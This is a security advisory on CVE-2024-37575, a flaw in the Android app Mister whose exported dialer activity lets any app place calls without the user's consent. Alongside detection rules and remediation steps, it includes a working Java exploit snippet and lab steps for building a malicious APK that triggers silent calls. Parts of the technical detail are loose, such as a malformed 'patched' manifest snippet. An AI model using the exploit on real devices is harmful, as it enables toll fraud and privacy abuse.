CVE-2024-37575

Executive Summary

CVE-2024-37575 is a critical security vulnerability in the Android application "Mister" (package: org.mistergroup.shouldianswer) version 1.4.264. The flaw resides in the org.mistergroup.shouldianswer.ui.default_dialer.DefaultDialerActivity component, which is exported and can be invoked by any installed application on the device without requiring any permissions. By sending a crafted intent, a malicious app can force the Mister application to initiate a phone call without any user interaction. This effectively turns the vulnerable app into a telephony proxy, enabling unauthorized call placement, potential toll fraud, and privacy violations. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability is specific to the Android ecosystem and the Mister application distributed via the Google Play Store. It does not involve NPM, PyPI, Go, or Ruby packages. However, the risk extends to any Android device where the app is installed, as any third-party application (even with no permissions) can exploit the exported activity.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the technical details, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

• Attack Vector (AV): Local – The attacker must have an app installed on the same device.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The malicious app needs no permissions.
• User Interaction (UI): None – The call is placed without user consent.
• Scope (S): Unchanged – The vulnerable component is within the app.
• Confidentiality (C): None – No data exfiltration directly.
• Integrity (I): Low – The attacker can initiate calls, but not modify data.
• Availability (A): High – The app can be used to place calls, potentially incurring charges or disrupting service.

Threat Level: High – Exploitation is trivial and can lead to financial loss and privacy abuse.

Deep Dive & Mechanics

The vulnerability is due to the DefaultDialerActivity being exported in the Android manifest. In Android, an exported activity can be launched by other applications. The Mister app's DefaultDialerActivity is designed to handle dialer intents, but it does not enforce any permission checks or user confirmation before placing a call.

Technical Flow:

1. A malicious app creates an intent with the action android.intent.action.CALL and a data URI like tel:+1234567890.
2. The intent is explicitly directed to org.mistergroup.shouldianswer.ui.default_dialer.DefaultDialerActivity.
3. The vulnerable activity receives the intent and directly initiates a phone call via startActivity() or TelephonyManager without any UI prompt.
4. The call is placed silently, and the user may not be aware until they see the dialer or receive a bill.

Root Cause: Missing permission checks and lack of user confirmation in the exported activity.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would need to:

• Remove the android:exported="true" attribute from the activity in AndroidManifest.xml, or
• Add a permission check (e.g., android.permission.CALL_PHONE must be held by the calling app), or
• Require user confirmation via a dialog before placing the call.

Vulnerable Manifest Snippet:

<activity android:name=".ui.default_dialer.DefaultDialerActivity"
          android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.CALL" />
        <data android:scheme="tel" />
    </intent-filter>
</activity>

Patched Manifest Snippet (hypothetical):

<activity android:name=".ui.default_dialer.DefaultDialerActivity"
          android:exported="false">
    <!-- or -->
    <activity android:name=".ui.default_dialer.DefaultDialerActivity"
              android:exported="true"
              android:permission="android.permission.CALL_PHONE">

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Android device or emulator with Mister app v1.4.264 installed.
• A malicious app installed (can be a simple test app).

Exploit Code (Java):

Intent intent = new Intent();
intent.setComponent(new ComponentName("org.mistergroup.shouldianswer",
    "org.mistergroup.shouldianswer.ui.default_dialer.DefaultDialerActivity"));
intent.setAction(Intent.ACTION_CALL);
intent.setData(Uri.parse("tel:+1234567890"));
startActivity(intent);

Usage:

• Compile the above code into an Android app with no permissions.
• Run the app; it will immediately place a call to the specified number without any user interaction.

Lab Setup:

1. Install Android Studio and create a new project with an empty activity.
2. Replace the onCreate method with the exploit code.
3. Build and install the APK on a device/emulator that has Mister app installed.
4. Launch the malicious app to trigger the call.

Blue Team (Detection & Forensics)

Detection on Device:

• Monitor for unexpected outgoing calls via TelephonyManager logs.
• Use Android's PackageManager to list apps that have no permissions but can still invoke activities.
• Check for suspicious intent calls in logcat:

  adb logcat | grep -i "DefaultDialerActivity"
  

Forensic Artifacts:

• dumpsys package org.mistergroup.shouldianswer to verify exported activities.
• Check call logs for unauthorized numbers.
• Analyze installed apps for those with no permissions but high activity.

Indicators of Compromise (IOCs)

• Package Name: org.mistergroup.shouldianswer
• Activity Name: org.mistergroup.shouldianswer.ui.default_dialer.DefaultDialerActivity
• App Version: 1.4.264
• Behavior: Unauthorized outgoing calls without user interaction.
• Logcat Pattern: Starting: Intent { act=android.intent.action.CALL dat=tel:... cmp=org.mistergroup.shouldianswer/.ui.default_dialer.DefaultDialerActivity }

Detection Engineering

YARA Rule

rule CVE_2024_37575_Mister_Android_Exploit {
    meta:
        description = "Detects malicious APKs attempting to exploit CVE-2024-37575"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37575"
    strings:
        $activity = "org.mistergroup.shouldianswer.ui.default_dialer.DefaultDialerActivity"
        $call_action = "android.intent.action.CALL"
        $tel_scheme = "tel:"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-37575 - Unauthorized Call via Mister App
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects logcat entries indicating exploitation of CVE-2024-37575
author: Valters IT
date: 2025-04-10
logsource:
    product: android
    service: logcat
detection:
    selection:
        EventID: 01
        Message|contains: 
            - 'org.mistergroup.shouldianswer/.ui.default_dialer.DefaultDialerActivity'
            - 'android.intent.action.CALL'
    condition: selection
falsepositives:
    - Legitimate use of the app as a default dialer
level: high

Suricata Rule (Network-based detection of call setup)

alert tcp $HOME_NET any -> $EXTERNAL_NET 5060 (msg:"CVE-2024-37575 - SIP Call from Mister App"; content:"INVITE"; sid:1000001; rev:1;)

Note: This rule assumes SIP-based calling; actual detection may vary based on carrier protocol.

Remediation & Mitigation

Immediate Actions:

1. Uninstall the Mister app until a patch is released.
2. Restrict app permissions on Android: Go to Settings > Apps > Mister > Set as default dialer > Clear defaults.
3. Monitor outgoing calls for any unauthorized numbers.

Long-term Fix:

• The vendor must release an update that either:
  • Sets android:exported="false" for DefaultDialerActivity, or
  • Adds a permission check requiring android.permission.CALL_PHONE from the calling app, or
  • Implements a user confirmation dialog before placing calls.

Workaround:

• Use Android's "App Ops" or a firewall app to block the Mister app from making calls.

Valters IT
Securing Digital Frontiers